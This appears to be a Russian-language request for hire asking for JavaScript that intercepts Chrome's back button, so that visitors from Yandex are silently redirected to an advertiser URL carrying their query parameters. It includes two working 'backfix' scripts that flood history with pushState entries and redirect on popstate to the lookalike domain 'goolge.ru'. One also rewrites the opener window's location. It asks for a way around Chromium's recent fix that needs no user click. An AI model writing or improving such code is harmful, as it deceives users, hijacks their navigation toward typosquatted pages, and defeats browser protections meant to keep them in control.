Код JS подмена кнопки "назад" в браузере Google Chrome
Написать (найти готовый) код JS блокирующий нажатие кнопки "назад" в браузере Google Chrome последней версии! так, чтобы при попытке уйти на предыдущую страницу юзера можно было сразу и без каких-либо действий с его стороны автоматически перекидывать на определенный URL с передачей всех GET параметров.
Пример:
- с Яндекса юзер переходит на наш сайт.ру/?get=param123
- сайт не понравился и сразу нажимает в телефоне или ПК в браузере Google Chrome кнопку "назад" (при этом юзер не кликал и не делал никаких действий на странице).
- перекидывается не назад на Яндекс, а на заданный URL, например offer.ru, с передачей GET вот так: offer.ru/?get=param123
// fakesearch & backfix
var strGET = window.location.search.replace( '?', '');
link = 'https://www.goolge.ru/search/?'+strGET;
if (window['opener'] != null) {
window['opener']['location'] = link;
}
else {
var strGET = window.location.search.replace( '?', '');
link = 'https://www.goolge.ru/search/?'+strGET;
var t;
try {
for (t = 0; 10 > t; ++t)
history.pushState({}, "", "#");
onpopstate = function (t) {
t.state && location.replace(link)
}
}
catch (o) {}
}
или:
document.addEventListener('DOMContentLoaded', function(){
setTimeout(function() {
var strGET = window.location.search.replace( '?', '');
var link = 'https://www.goolge.ru/?'+strGET+'&d_ref='+location.hostname;
(function() {
window.onpopstate=function(o){
window.location=link;
};
window.history.pushState({},"", "");
})();
}, 10);
});
P.S. Летом вышли пофиксенные хромиумы и старые backfix коды не работают без клика в области сайта - нужно придумать решение. Сделать всплывающие окна побуждающие пользователя кликнуть самому - не предлагать. Нужно без участия пользователя, на JS.